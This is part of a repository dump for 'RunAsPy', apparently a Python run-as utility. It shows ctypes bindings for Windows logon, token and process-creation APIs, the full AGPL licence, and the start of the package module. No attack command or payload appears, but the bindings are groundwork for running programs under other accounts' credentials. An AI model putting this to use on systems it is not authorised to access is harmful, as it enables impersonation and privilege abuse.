492 | DESKTOP_ENUMERATE = 0x00000040
493 | DESKTOP_WRITEOBJECTS = 0x00000080
494 | DESKTOP_SWITCHDESKTOP = 0x00000100
495 | DESKTOP_ALL = (
496 | DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL |
497 | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS |
498 | DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED
499 | )
500 |
501 |
502 | class ACE_HEADER(ctypes.Structure):
503 | _fields_ = [
504 | ('AceType', ctypes.c_byte),
505 | ('AceFlags', ctypes.c_byte),
506 | ('AceSize', ctypes.c_ushort),
507 | ]
508 |
509 |
510 | class TOKEN_PRIVILEGES_2(ctypes.Structure):
511 | _fields_ = [
512 | ('PrivilegeCount', ctypes.c_uint32),
513 | ('Luid', LUID),
514 | ('Attributes', ctypes.wintypes.DWORD)
515 | ]
516 |
517 |
518 | class ACCESS_ALLOWED_ACE(ctypes.Structure):
519 | _fields_ = [
520 | ('Header', ACE_HEADER),
521 | ('Mask', ctypes.wintypes.DWORD),
522 | ('SidStart', ctypes.wintypes.DWORD)
523 | ]
524 |
525 |
526 | class SOCKADDR_IN(ctypes.Structure):
527 | _fields_ = [
528 | ('sin_family', ctypes.c_short),
529 | ('sin_port', ctypes.c_short),
530 | ('sin_addr', ctypes.c_ulong),
531 | ('sin_zero', (ctypes.c_char * 8))
532 | ]
533 |
534 |
535 | class IntegrityLevel(object):
536 | Same = -2
537 | Unknown = -1
538 | Untrusted = 0
539 | Low = 0x1000
540 | Medium = 0x2000
541 | High = 0x3000
542 | System = 0x4000
543 | ProtectedProcess = 0x5000
544 |
545 |
546 | CreateProcessWithLogonW.argtypes = [
547 | ctypes.wintypes.LPCWSTR,
548 | ctypes.wintypes.LPCWSTR,
549 | ctypes.wintypes.LPCWSTR,
550 | ctypes.wintypes.DWORD,
551 | ctypes.wintypes.LPCWSTR,
552 | ctypes.wintypes.LPWSTR,
553 | ctypes.wintypes.DWORD,
554 | ctypes.wintypes.LPCWSTR,
555 | ctypes.wintypes.LPCWSTR,
556 | LPSTARTUPINFOW,
557 | LPPROCESS_INFORMATION
558 | ]
559 |
560 | CreateProcessWithTokenW.argtypes = [
561 | ctypes.wintypes.HANDLE,
562 | ctypes.wintypes.DWORD,
563 | ctypes.wintypes.LPCWSTR,
564 | ctypes.wintypes.LPWSTR,
565 | ctypes.wintypes.DWORD,
566 | ctypes.wintypes.LPVOID,
567 | ctypes.wintypes.LPCWSTR,
568 | LPSTARTUPINFOW,
569 | LPPROCESS_INFORMATION
570 | ]
571 |
572 | LogonUser.argtypes = [
573 | ctypes.wintypes.LPCSTR,
574 | ctypes.wintypes.LPCSTR,
575 | ctypes.wintypes.LPCSTR,
576 | ctypes.wintypes.DWORD,
577 | ctypes.wintypes.DWORD,
578 | ctypes.POINTER(ctypes.wintypes.HANDLE)
579 | ]
580 |
581 |
582 | GetUserProfileDirectory.argtypes = [
583 | ctypes.wintypes.HANDLE,
584 | ctypes.wintypes.LPSTR,
585 | ctypes.wintypes.LPDWORD
586 | ]
587 |
588 |
589 | CreateProcessW.argtypes = [
590 | ctypes.wintypes.LPCWSTR,
591 | ctypes.wintypes.LPWSTR,
592 | ctypes.c_void_p,
593 | ctypes.c_void_p,
594 | ctypes.c_bool,
595 | ctypes.wintypes.DWORD,
596 | ctypes.wintypes.LPVOID,
597 | ctypes.wintypes.LPCWSTR,
598 | ctypes.POINTER(STARTUPINFO),
599 | ctypes.POINTER(PROCESS_INFORMATION)
600 | ]
601 |
602 |
603 | GetSidSubAuthorityCount.restype = ctypes.POINTER(ctypes.c_byte)
604 | GetSidSubAuthority.restype = ctypes.POINTER(ctypes.wintypes.DWORD)
605 |
606 | LookupAccountName.argtypes = [
607 | ctypes.wintypes.LPCSTR,
608 | ctypes.wintypes.LPCSTR,
609 | PSID,
610 | ctypes.POINTER(ctypes.c_ulong),
611 | ctypes.wintypes.LPSTR,
612 | ctypes.POINTER(ctypes.c_ulong),
613 | ctypes.POINTER(ctypes.c_int)
614 | ]
615 |
616 | LookupAccountName.restype = ctypes.wintypes.BOOL
617 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU AFFERO GENERAL PUBLIC LICENSE
2 | Version 3, 19 November 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU Affero General Public License is a free, copyleft license for
11 | software and other kinds of works, specifically designed to ensure
12 | cooperation with the community in the case of network server software.
13 |
14 | The licenses for most software and other practical works are designed
15 | to take away your freedom to share and change the works. By contrast,
16 | our General Public Licenses are intended to guarantee your freedom to
17 | share and change all versions of a program--to make sure it remains free
18 | software for all its users.
19 |
20 | When we speak of free software, we are referring to freedom, not
21 | price. Our General Public Licenses are designed to make sure that you
22 | have the freedom to distribute copies of free software (and charge for
23 | them if you wish), that you receive source code or can get it if you
24 | want it, that you can change the software or use pieces of it in new
25 | free programs, and that you know you can do these things.
26 |
27 | Developers that use our General Public Licenses protect your rights
28 | with two steps: (1) assert copyright on the software, and (2) offer
29 | you this License which gives you legal permission to copy, distribute
30 | and/or modify the software.
31 |
32 | A secondary benefit of defending all users' freedom is that
33 | improvements made in alternate versions of the program, if they
34 | receive widespread use, become available for other developers to
35 | incorporate. Many developers of free software are heartened and
36 | encouraged by the resulting cooperation. However, in the case of
37 | software used on network servers, this result may fail to come about.
38 | The GNU General Public License permits making a modified version and
39 | letting the public access it on a server without ever releasing its
40 | source code to the public.
41 |
42 | The GNU Affero General Public License is designed specifically to
43 | ensure that, in such cases, the modified source code becomes available
44 | to the community. It requires the operator of a network server to
45 | provide the source code of the modified version running there to the
46 | users of that server. Therefore, public use of a modified version, on
47 | a publicly accessible server, gives the public access to the source
48 | code of the modified version.
49 |
50 | An older license, called the Affero General Public License and
51 | published by Affero, was designed to accomplish similar goals. This is
52 | a different license, not a version of the Affero GPL, but Affero has
53 | released a new version of the Affero GPL which permits relicensing under
54 | this license.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | TERMS AND CONDITIONS
60 |
61 | 0. Definitions.
62 |
63 | "This License" refers to version 3 of the GNU Affero General Public License.
64 |
65 | "Copyright" also means copyright-like laws that apply to other kinds of
66 | works, such as semiconductor masks.
67 |
68 | "The Program" refers to any copyrightable work licensed under this
69 | License. Each licensee is addressed as "you". "Licensees" and
70 | "recipients" may be individuals or organizations.
71 |
72 | To "modify" a work means to copy from or adapt all or part of the work
73 | in a fashion requiring copyright permission, other than the making of an
74 | exact copy. The resulting work is called a "modified version" of the
75 | earlier work or a work "based on" the earlier work.
76 |
77 | A "covered work" means either the unmodified Program or a work based
78 | on the Program.
79 |
80 | To "propagate" a work means to do anything with it that, without
81 | permission, would make you directly or secondarily liable for
82 | infringement under applicable copyright law, except executing it on a
83 | computer or modifying a private copy. Propagation includes copying,
84 | distribution (with or without modification), making available to the
85 | public, and in some countries other activities as well.
86 |
87 | To "convey" a work means any kind of propagation that enables other
88 | parties to make or receive copies. Mere interaction with a user through
89 | a computer network, with no transfer of a copy, is not conveying.
90 |
91 | An interactive user interface displays "Appropriate Legal Notices"
92 | to the extent that it includes a convenient and prominently visible
93 | feature that (1) displays an appropriate copyright notice, and (2)
94 | tells the user that there is no warranty for the work (except to the
95 | extent that warranties are provided), that licensees may convey the
96 | work under this License, and how to view a copy of this License. If
97 | the interface presents a list of user commands or options, such as a
98 | menu, a prominent item in the list meets this criterion.
99 |
100 | 1. Source Code.
101 |
102 | The "source code" for a work means the preferred form of the work
103 | for making modifications to it. "Object code" means any non-source
104 | form of a work.
105 |
106 | A "Standard Interface" means an interface that either is an official
107 | standard defined by a recognized standards body, or, in the case of
108 | interfaces specified for a particular programming language, one that
109 | is widely used among developers working in that language.
110 |
111 | The "System Libraries" of an executable work include anything, other
112 | than the work as a whole, that (a) is included in the normal form of
113 | packaging a Major Component, but which is not part of that Major
114 | Component, and (b) serves only to enable use of the work with that
115 | Major Component, or to implement a Standard Interface for which an
116 | implementation is available to the public in source code form. A
117 | "Major Component", in this context, means a major essential component
118 | (kernel, window system, and so on) of the specific operating system
119 | (if any) on which the executable work runs, or a compiler used to
120 | produce the work, or an object code interpreter used to run it.
121 |
122 | The "Corresponding Source" for a work in object code form means all
123 | the source code needed to generate, install, and (for an executable
124 | work) run the object code and to modify the work, including scripts to
125 | control those activities. However, it does not include the work's
126 | System Libraries, or general-purpose tools or generally available free
127 | programs which are used unmodified in performing those activities but
128 | which are not part of the work. For example, Corresponding Source
129 | includes interface definition files associated with source files for
130 | the work, and the source code for shared libraries and dynamically
131 | linked subprograms that the work is specifically designed to require,
132 | such as by intimate data communication or control flow between those
133 | subprograms and other parts of the work.
134 |
135 | The Corresponding Source need not include anything that users
136 | can regenerate automatically from other parts of the Corresponding
137 | Source.
138 |
139 | The Corresponding Source for a work in source code form is that
140 | same work.
141 |
142 | 2. Basic Permissions.
143 |
144 | All rights granted under this License are granted for the term of
145 | copyright on the Program, and are irrevocable provided the stated
146 | conditions are met. This License explicitly affirms your unlimited
147 | permission to run the unmodified Program. The output from running a
148 | covered work is covered by this License only if the output, given its
149 | content, constitutes a covered work. This License acknowledges your
150 | rights of fair use or other equivalent, as provided by copyright law.
151 |
152 | You may make, run and propagate covered works that you do not
153 | convey, without conditions so long as your license otherwise remains
154 | in force. You may convey covered works to others for the sole purpose
155 | of having them make modifications exclusively for you, or provide you
156 | with facilities for running those works, provided that you comply with
157 | the terms of this License in conveying all material for which you do
158 | not control copyright. Those thus making or running the covered works
159 | for you must do so exclusively on your behalf, under your direction
160 | and control, on terms that prohibit them from making any copies of
161 | your copyrighted material outside their relationship with you.
162 |
163 | Conveying under any other circumstances is permitted solely under
164 | the conditions stated below. Sublicensing is not allowed; section 10
165 | makes it unnecessary.
166 |
167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
168 |
169 | No covered work shall be deemed part of an effective technological
170 | measure under any applicable law fulfilling obligations under article
171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
172 | similar laws prohibiting or restricting circumvention of such
173 | measures.
174 |
175 | When you convey a covered work, you waive any legal power to forbid
176 | circumvention of technological measures to the extent such circumvention
177 | is effected by exercising rights under this License with respect to
178 | the covered work, and you disclaim any intention to limit operation or
179 | modification of the work as a means of enforcing, against the work's
180 | users, your or third parties' legal rights to forbid circumvention of
181 | technological measures.
182 |
183 | 4. Conveying Verbatim Copies.
184 |
185 | You may convey verbatim copies of the Program's source code as you
186 | receive it, in any medium, provided that you conspicuously and
187 | appropriately publish on each copy an appropriate copyright notice;
188 | keep intact all notices stating that this License and any
189 | non-permissive terms added in accord with section 7 apply to the code;
190 | keep intact all notices of the absence of any warranty; and give all
191 | recipients a copy of this License along with the Program.
192 |
193 | You may charge any price or no price for each copy that you convey,
194 | and you may offer support or warranty protection for a fee.
195 |
196 | 5. Conveying Modified Source Versions.
197 |
198 | You may convey a work based on the Program, or the modifications to
199 | produce it from the Program, in the form of source code under the
200 | terms of section 4, provided that you also meet all of these conditions:
201 |
202 | a) The work must carry prominent notices stating that you modified
203 | it, and giving a relevant date.
204 |
205 | b) The work must carry prominent notices stating that it is
206 | released under this License and any conditions added under section
207 | 7. This requirement modifies the requirement in section 4 to
208 | "keep intact all notices".
209 |
210 | c) You must license the entire work, as a whole, under this
211 | License to anyone who comes into possession of a copy. This
212 | License will therefore apply, along with any applicable section 7
213 | additional terms, to the whole of the work, and all its parts,
214 | regardless of how they are packaged. This License gives no
215 | permission to license the work in any other way, but it does not
216 | invalidate such permission if you have separately received it.
217 |
218 | d) If the work has interactive user interfaces, each must display
219 | Appropriate Legal Notices; however, if the Program has interactive
220 | interfaces that do not display Appropriate Legal Notices, your
221 | work need not make them do so.
222 |
223 | A compilation of a covered work with other separate and independent
224 | works, which are not by their nature extensions of the covered work,
225 | and which are not combined with it such as to form a larger program,
226 | in or on a volume of a storage or distribution medium, is called an
227 | "aggregate" if the compilation and its resulting copyright are not
228 | used to limit the access or legal rights of the compilation's users
229 | beyond what the individual works permit. Inclusion of a covered work
230 | in an aggregate does not cause this License to apply to the other
231 | parts of the aggregate.
232 |
233 | 6. Conveying Non-Source Forms.
234 |
235 | You may convey a covered work in object code form under the terms
236 | of sections 4 and 5, provided that you also convey the
237 | machine-readable Corresponding Source under the terms of this License,
238 | in one of these ways:
239 |
240 | a) Convey the object code in, or embodied in, a physical product
241 | (including a physical distribution medium), accompanied by the
242 | Corresponding Source fixed on a durable physical medium
243 | customarily used for software interchange.
244 |
245 | b) Convey the object code in, or embodied in, a physical product
246 | (including a physical distribution medium), accompanied by a
247 | written offer, valid for at least three years and valid for as
248 | long as you offer spare parts or customer support for that product
249 | model, to give anyone who possesses the object code either (1) a
250 | copy of the Corresponding Source for all the software in the
251 | product that is covered by this License, on a durable physical
252 | medium customarily used for software interchange, for a price no
253 | more than your reasonable cost of physically performing this
254 | conveying of source, or (2) access to copy the
255 | Corresponding Source from a network server at no charge.
256 |
257 | c) Convey individual copies of the object code with a copy of the
258 | written offer to provide the Corresponding Source. This
259 | alternative is allowed only occasionally and noncommercially, and
260 | only if you received the object code with such an offer, in accord
261 | with subsection 6b.
262 |
263 | d) Convey the object code by offering access from a designated
264 | place (gratis or for a charge), and offer equivalent access to the
265 | Corresponding Source in the same way through the same place at no
266 | further charge. You need not require recipients to copy the
267 | Corresponding Source along with the object code. If the place to
268 | copy the object code is a network server, the Corresponding Source
269 | may be on a different server (operated by you or a third party)
270 | that supports equivalent copying facilities, provided you maintain
271 | clear directions next to the object code saying where to find the
272 | Corresponding Source. Regardless of what server hosts the
273 | Corresponding Source, you remain obligated to ensure that it is
274 | available for as long as needed to satisfy these requirements.
275 |
276 | e) Convey the object code using peer-to-peer transmission, provided
277 | you inform other peers where the object code and Corresponding
278 | Source of the work are being offered to the general public at no
279 | charge under subsection 6d.
280 |
281 | A separable portion of the object code, whose source code is excluded
282 | from the Corresponding Source as a System Library, need not be
283 | included in conveying the object code work.
284 |
285 | A "User Product" is either (1) a "consumer product", which means any
286 | tangible personal property which is normally used for personal, family,
287 | or household purposes, or (2) anything designed or sold for incorporation
288 | into a dwelling. In determining whether a product is a consumer product,
289 | doubtful cases shall be resolved in favor of coverage. For a particular
290 | product received by a particular user, "normally used" refers to a
291 | typical or common use of that class of product, regardless of the status
292 | of the particular user or of the way in which the particular user
293 | actually uses, or expects or is expected to use, the product. A product
294 | is a consumer product regardless of whether the product has substantial
295 | commercial, industrial or non-consumer uses, unless such uses represent
296 | the only significant mode of use of the product.
297 |
298 | "Installation Information" for a User Product means any methods,
299 | procedures, authorization keys, or other information required to install
300 | and execute modified versions of a covered work in that User Product from
301 | a modified version of its Corresponding Source. The information must
302 | suffice to ensure that the continued functioning of the modified object
303 | code is in no case prevented or interfered with solely because
304 | modification has been made.
305 |
306 | If you convey an object code work under this section in, or with, or
307 | specifically for use in, a User Product, and the conveying occurs as
308 | part of a transaction in which the right of possession and use of the
309 | User Product is transferred to the recipient in perpetuity or for a
310 | fixed term (regardless of how the transaction is characterized), the
311 | Corresponding Source conveyed under this section must be accompanied
312 | by the Installation Information. But this requirement does not apply
313 | if neither you nor any third party retains the ability to install
314 | modified object code on the User Product (for example, the work has
315 | been installed in ROM).
316 |
317 | The requirement to provide Installation Information does not include a
318 | requirement to continue to provide support service, warranty, or updates
319 | for a work that has been modified or installed by the recipient, or for
320 | the User Product in which it has been modified or installed. Access to a
321 | network may be denied when the modification itself materially and
322 | adversely affects the operation of the network or violates the rules and
323 | protocols for communication across the network.
324 |
325 | Corresponding Source conveyed, and Installation Information provided,
326 | in accord with this section must be in a format that is publicly
327 | documented (and with an implementation available to the public in
328 | source code form), and must require no special password or key for
329 | unpacking, reading or copying.
330 |
331 | 7. Additional Terms.
332 |
333 | "Additional permissions" are terms that supplement the terms of this
334 | License by making exceptions from one or more of its conditions.
335 | Additional permissions that are applicable to the entire Program shall
336 | be treated as though they were included in this License, to the extent
337 | that they are valid under applicable law. If additional permissions
338 | apply only to part of the Program, that part may be used separately
339 | under those permissions, but the entire Program remains governed by
340 | this License without regard to the additional permissions.
341 |
342 | When you convey a copy of a covered work, you may at your option
343 | remove any additional permissions from that copy, or from any part of
344 | it. (Additional permissions may be written to require their own
345 | removal in certain cases when you modify the work.) You may place
346 | additional permissions on material, added by you to a covered work,
347 | for which you have or can give appropriate copyright permission.
348 |
349 | Notwithstanding any other provision of this License, for material you
350 | add to a covered work, you may (if authorized by the copyright holders of
351 | that material) supplement the terms of this License with terms:
352 |
353 | a) Disclaiming warranty or limiting liability differently from the
354 | terms of sections 15 and 16 of this License; or
355 |
356 | b) Requiring preservation of specified reasonable legal notices or
357 | author attributions in that material or in the Appropriate Legal
358 | Notices displayed by works containing it; or
359 |
360 | c) Prohibiting misrepresentation of the origin of that material, or
361 | requiring that modified versions of such material be marked in
362 | reasonable ways as different from the original version; or
363 |
364 | d) Limiting the use for publicity purposes of names of licensors or
365 | authors of the material; or
366 |
367 | e) Declining to grant rights under trademark law for use of some
368 | trade names, trademarks, or service marks; or
369 |
370 | f) Requiring indemnification of licensors and authors of that
371 | material by anyone who conveys the material (or modified versions of
372 | it) with contractual assumptions of liability to the recipient, for
373 | any liability that these contractual assumptions directly impose on
374 | those licensors and authors.
375 |
376 | All other non-permissive additional terms are considered "further
377 | restrictions" within the meaning of section 10. If the Program as you
378 | received it, or any part of it, contains a notice stating that it is
379 | governed by this License along with a term that is a further
380 | restriction, you may remove that term. If a license document contains
381 | a further restriction but permits relicensing or conveying under this
382 | License, you may add to a covered work material governed by the terms
383 | of that license document, provided that the further restriction does
384 | not survive such relicensing or conveying.
385 |
386 | If you add terms to a covered work in accord with this section, you
387 | must place, in the relevant source files, a statement of the
388 | additional terms that apply to those files, or a notice indicating
389 | where to find the applicable terms.
390 |
391 | Additional terms, permissive or non-permissive, may be stated in the
392 | form of a separately written license, or stated as exceptions;
393 | the above requirements apply either way.
394 |
395 | 8. Termination.
396 |
397 | You may not propagate or modify a covered work except as expressly
398 | provided under this License. Any attempt otherwise to propagate or
399 | modify it is void, and will automatically terminate your rights under
400 | this License (including any patent licenses granted under the third
401 | paragraph of section 11).
402 |
403 | However, if you cease all violation of this License, then your
404 | license from a particular copyright holder is reinstated (a)
405 | provisionally, unless and until the copyright holder explicitly and
406 | finally terminates your license, and (b) permanently, if the copyright
407 | holder fails to notify you of the violation by some reasonable means
408 | prior to 60 days after the cessation.
409 |
410 | Moreover, your license from a particular copyright holder is
411 | reinstated permanently if the copyright holder notifies you of the
412 | violation by some reasonable means, this is the first time you have
413 | received notice of violation of this License (for any work) from that
414 | copyright holder, and you cure the violation prior to 30 days after
415 | your receipt of the notice.
416 |
417 | Termination of your rights under this section does not terminate the
418 | licenses of parties who have received copies or rights from you under
419 | this License. If your rights have been terminated and not permanently
420 | reinstated, you do not qualify to receive new licenses for the same
421 | material under section 10.
422 |
423 | 9. Acceptance Not Required for Having Copies.
424 |
425 | You are not required to accept this License in order to receive or
426 | run a copy of the Program. Ancillary propagation of a covered work
427 | occurring solely as a consequence of using peer-to-peer transmission
428 | to receive a copy likewise does not require acceptance. However,
429 | nothing other than this License grants you permission to propagate or
430 | modify any covered work. These actions infringe copyright if you do
431 | not accept this License. Therefore, by modifying or propagating a
432 | covered work, you indicate your acceptance of this License to do so.
433 |
434 | 10. Automatic Licensing of Downstream Recipients.
435 |
436 | Each time you convey a covered work, the recipient automatically
437 | receives a license from the original licensors, to run, modify and
438 | propagate that work, subject to this License. You are not responsible
439 | for enforcing compliance by third parties with this License.
440 |
441 | An "entity transaction" is a transaction transferring control of an
442 | organization, or substantially all assets of one, or subdividing an
443 | organization, or merging organizations. If propagation of a covered
444 | work results from an entity transaction, each party to that
445 | transaction who receives a copy of the work also receives whatever
446 | licenses to the work the party's predecessor in interest had or could
447 | give under the previous paragraph, plus a right to possession of the
448 | Corresponding Source of the work from the predecessor in interest, if
449 | the predecessor has it or can get it with reasonable efforts.
450 |
451 | You may not impose any further restrictions on the exercise of the
452 | rights granted or affirmed under this License. For example, you may
453 | not impose a license fee, royalty, or other charge for exercise of
454 | rights granted under this License, and you may not initiate litigation
455 | (including a cross-claim or counterclaim in a lawsuit) alleging that
456 | any patent claim is infringed by making, using, selling, offering for
457 | sale, or importing the Program or any portion of it.
458 |
459 | 11. Patents.
460 |
461 | A "contributor" is a copyright holder who authorizes use under this
462 | License of the Program or a work on which the Program is based. The
463 | work thus licensed is called the contributor's "contributor version".
464 |
465 | A contributor's "essential patent claims" are all patent claims
466 | owned or controlled by the contributor, whether already acquired or
467 | hereafter acquired, that would be infringed by some manner, permitted
468 | by this License, of making, using, or selling its contributor version,
469 | but do not include claims that would be infringed only as a
470 | consequence of further modification of the contributor version. For
471 | purposes of this definition, "control" includes the right to grant
472 | patent sublicenses in a manner consistent with the requirements of
473 | this License.
474 |
475 | Each contributor grants you a non-exclusive, worldwide, royalty-free
476 | patent license under the contributor's essential patent claims, to
477 | make, use, sell, offer for sale, import and otherwise run, modify and
478 | propagate the contents of its contributor version.
479 |
480 | In the following three paragraphs, a "patent license" is any express
481 | agreement or commitment, however denominated, not to enforce a patent
482 | (such as an express permission to practice a patent or covenant not to
483 | sue for patent infringement). To "grant" such a patent license to a
484 | party means to make such an agreement or commitment not to enforce a
485 | patent against the party.
486 |
487 | If you convey a covered work, knowingly relying on a patent license,
488 | and the Corresponding Source of the work is not available for anyone
489 | to copy, free of charge and under the terms of this License, through a
490 | publicly available network server or other readily accessible means,
491 | then you must either (1) cause the Corresponding Source to be so
492 | available, or (2) arrange to deprive yourself of the benefit of the
493 | patent license for this particular work, or (3) arrange, in a manner
494 | consistent with the requirements of this License, to extend the patent
495 | license to downstream recipients. "Knowingly relying" means you have
496 | actual knowledge that, but for the patent license, your conveying the
497 | covered work in a country, or your recipient's use of the covered work
498 | in a country, would infringe one or more identifiable patents in that
499 | country that you have reason to believe are valid.
500 |
501 | If, pursuant to or in connection with a single transaction or
502 | arrangement, you convey, or propagate by procuring conveyance of, a
503 | covered work, and grant a patent license to some of the parties
504 | receiving the covered work authorizing them to use, propagate, modify
505 | or convey a specific copy of the covered work, then the patent license
506 | you grant is automatically extended to all recipients of the covered
507 | work and works based on it.
508 |
509 | A patent license is "discriminatory" if it does not include within
510 | the scope of its coverage, prohibits the exercise of, or is
511 | conditioned on the non-exercise of one or more of the rights that are
512 | specifically granted under this License. You may not convey a covered
513 | work if you are a party to an arrangement with a third party that is
514 | in the business of distributing software, under which you make payment
515 | to the third party based on the extent of your activity of conveying
516 | the work, and under which the third party grants, to any of the
517 | parties who would receive the covered work from you, a discriminatory
518 | patent license (a) in connection with copies of the covered work
519 | conveyed by you (or copies made from those copies), or (b) primarily
520 | for and in connection with specific products or compilations that
521 | contain the covered work, unless you entered into that arrangement,
522 | or that patent license was granted, prior to 28 March 2007.
523 |
524 | Nothing in this License shall be construed as excluding or limiting
525 | any implied license or other defenses to infringement that may
526 | otherwise be available to you under applicable patent law.
527 |
528 | 12. No Surrender of Others' Freedom.
529 |
530 | If conditions are imposed on you (whether by court order, agreement or
531 | otherwise) that contradict the conditions of this License, they do not
532 | excuse you from the conditions of this License. If you cannot convey a
533 | covered work so as to satisfy simultaneously your obligations under this
534 | License and any other pertinent obligations, then as a consequence you may
535 | not convey it at all. For example, if you agree to terms that obligate you
536 | to collect a royalty for further conveying from those to whom you convey
537 | the Program, the only way you could satisfy both those terms and this
538 | License would be to refrain entirely from conveying the Program.
539 |
540 | 13. Remote Network Interaction; Use with the GNU General Public License.
541 |
542 | Notwithstanding any other provision of this License, if you modify the
543 | Program, your modified version must prominently offer all users
544 | interacting with it remotely through a computer network (if your version
545 | supports such interaction) an opportunity to receive the Corresponding
546 | Source of your version by providing access to the Corresponding Source
547 | from a network server at no charge, through some standard or customary
548 | means of facilitating copying of software. This Corresponding Source
549 | shall include the Corresponding Source for any work covered by version 3
550 | of the GNU General Public License that is incorporated pursuant to the
551 | following paragraph.
552 |
553 | Notwithstanding any other provision of this License, you have
554 | permission to link or combine any covered work with a work licensed
555 | under version 3 of the GNU General Public License into a single
556 | combined work, and to convey the resulting work. The terms of this
557 | License will continue to apply to the part which is the covered work,
558 | but the work with which it is combined will remain governed by version
559 | 3 of the GNU General Public License.
560 |
561 | 14. Revised Versions of this License.
562 |
563 | The Free Software Foundation may publish revised and/or new versions of
564 | the GNU Affero General Public License from time to time. Such new versions
565 | will be similar in spirit to the present version, but may differ in detail to
566 | address new problems or concerns.
567 |
568 | Each version is given a distinguishing version number. If the
569 | Program specifies that a certain numbered version of the GNU Affero General
570 | Public License "or any later version" applies to it, you have the
571 | option of following the terms and conditions either of that numbered
572 | version or of any later version published by the Free Software
573 | Foundation. If the Program does not specify a version number of the
574 | GNU Affero General Public License, you may choose any version ever published
575 | by the Free Software Foundation.
576 |
577 | If the Program specifies that a proxy can decide which future
578 | versions of the GNU Affero General Public License can be used, that proxy's
579 | public statement of acceptance of a version permanently authorizes you
580 | to choose that version for the Program.
581 |
582 | Later license versions may give you additional or different
583 | permissions. However, no additional obligations are imposed on any
584 | author or copyright holder as a result of your choosing to follow a
585 | later version.
586 |
587 | 15. Disclaimer of Warranty.
588 |
589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
597 |
598 | 16. Limitation of Liability.
599 |
600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
608 | SUCH DAMAGES.
609 |
610 | 17. Interpretation of Sections 15 and 16.
611 |
612 | If the disclaimer of warranty and limitation of liability provided
613 | above cannot be given local legal effect according to their terms,
614 | reviewing courts shall apply local law that most closely approximates
615 | an absolute waiver of all civil liability in connection with the
616 | Program, unless a warranty or assumption of liability accompanies a
617 | copy of the Program in return for a fee.
618 |
619 | END OF TERMS AND CONDITIONS
620 |
621 | How to Apply These Terms to Your New Programs
622 |
623 | If you develop a new program, and you want it to be of the greatest
624 | possible use to the public, the best way to achieve this is to make it
625 | free software which everyone can redistribute and change under these terms.
626 |
627 | To do so, attach the following notices to the program. It is safest
628 | to attach them to the start of each source file to most effectively
629 | state the exclusion of warranty; and each file should have at least
630 | the "copyright" line and a pointer to where the full notice is found.
631 |
632 |
633 | Copyright (C)
634 |
635 | This program is free software: you can redistribute it and/or modify
636 | it under the terms of the GNU Affero General Public License as published
637 | by the Free Software Foundation, either version 3 of the License, or
638 | (at your option) any later version.
639 |
640 | This program is distributed in the hope that it will be useful,
641 | but WITHOUT ANY WARRANTY; without even the implied warranty of
642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
643 | GNU Affero General Public License for more details.
644 |
645 | You should have received a copy of the GNU Affero General Public License
646 | along with this program. If not, see .
647 |
648 | Also add information on how to contact you by electronic and paper mail.
649 |
650 | If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source. For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code. There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 |
658 | You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | .
662 |
--------------------------------------------------------------------------------
/RunAsPy/__init__.py:
--------------------------------------------------------------------------------
1 | import os
2 | import ctypes
3 | import ctypes.wintypes
4 | import socket
5 | import struct
6 | import logging
7 | from .windefs import *
8 |
9 |
10 | def convertAttributeToString(attribute):
11 | if attribute == 0:
12 | return "Disabled"
13 | if attribute == 1:
14 | return "Enabled Default"
15 | if attribute == 2:
16 | return "Enabled"
17 | if attribute == 3:
18 | return "Enabled|Enable Default"
19 | return "Error"
20 |
21 | class runas_logging_formatter(logging.Formatter):
22 | grey = "\x1b[38;20m"
23 | cyan = "\x1b[36;20m"
24 | yellow = "\x1b[33;20m"
25 | red = "\x1b[31;20m"
26 | bold_red = "\x1b[31;1m"
27 | reset = "\x1b[0m"
28 | log_format = "%(levelname)s: %(message)s"
